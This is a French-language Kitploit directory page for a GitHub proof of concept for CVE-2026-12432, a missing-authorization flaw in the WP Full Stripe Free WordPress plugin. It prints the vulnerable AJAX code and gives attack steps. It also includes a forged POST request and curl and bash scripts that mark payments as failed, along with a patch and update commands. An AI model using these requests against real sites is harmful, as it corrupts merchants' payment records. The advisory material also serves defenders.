Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Autorisation manquante | Kitploit
Outils/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionMauvaise Configuration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Autorisation manquante

Voir le dépôt
15il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-12432 : WP Full Stripe Free <= 8.4.3 - Autorisation manquante

Vue d'ensemble

  • Identifiant CVE : CVE-2026-12432
  • Score CVSS : 5,3 (Moyen)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Versions concernées : Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Version corrigée : >= 8.4.4
  • Publié : 26 juin 2026
  • Dernière mise à jour : 27 juin 2026
  • Chercheur : Netwurm - VTDR e.V.i.G.

Description de la vulnérabilité

Le plugin WP Full Stripe Free pour WordPress est vulnérable à une autorisation manquante dans les versions jusqu'à la 8.4.3 incluse via l'action AJAX wpfs_update_failed_payment_status.

Cause racine

Le point de terminaison AJAX vulnérable est enregistré via les hooks wp_ajax_ et wp_ajax_nopriv_ :

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

La fonction update_failed_payment_status() (lignes 3835-3865) effectue :

  • ❌ AUCUNE vérification de capacité (pas de current_user_can())
  • ❌ AUCUNE vérification de nonce (pas de wp_verify_nonce())
  • ❌ AUCUNE vérification de connexion (pas de is_user_logged_in())

Code vulnérable

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Vecteur d'attaque

Prérequis

  • L'identifiant Payment Intent doit être connu (exposé dans le navigateur lors d'un paiement Stripe normal)
  • Aucune authentification requise

Étapes de l'attaque

  1. Identifier la cible : Trouver un site WordPress avec WP Full Stripe Free <= 8.4.3 installé
  2. Obtenir l'identifiant Payment Intent : L'extraire du flux de paiement Stripe.js ou des transactions précédentes
  3. Envoyer la requête malveillante : Construire une requête POST vers admin-ajax.php avec des paramètres contrôlés par l'attaquant

Requête HTTP

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Évaluation de l'impact

Domaine d'impactGravitéDescription
IntégritéMoyenneLes attaquants peuvent marquer des paiements réussis comme échoués
ConfidentialitéAucuneAucune exposition de données
DisponibilitéFaiblePeut perturber les opérations commerciales

Impacts spécifiques

  1. Manipulation des enregistrements de paiement : L'attaquant peut modifier le statut du paiement de « payé » à « échoué »
  2. Codes d'échec falsifiés : L'attaquant peut injecter des codes/messages d'échec arbitraires
  3. Ingénierie sociale : Peut être utilisé pour frauder les clients ou contester des paiements légitimes
  4. Corruption de la piste d'audit : Les enregistrements commerciaux peuvent être falsifiés

Preuve de concept (curl)

Détection de base

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

Script PoC complet

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

Remédiation

Correctif immédiat

Ajoutez une vérification d'autorisation à wpfs-customer.php à la ligne 3835 :

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

Correctif recommandé (par l'éditeur)

Mettez à jour vers WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Détection

Vérification manuelle

  1. Vérifiez la version du plugin dans l'administration WordPress
  2. Examinez wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Recherchez l'absence de current_user_can() avant les gestionnaires AJAX

Détection automatisée

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

Références

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • Canal Telegram W.P.E.F #1
  • Canal Telegram W.P.E.F #2 --

Chronologie

  • 26 juin 2026 : Vulnérabilité divulguée publiquement
  • 27 juin 2026 : CVE-2026-12432 publiée
  • Correctif : Mettre à jour vers >= 8.4.4
Télécharger l’outil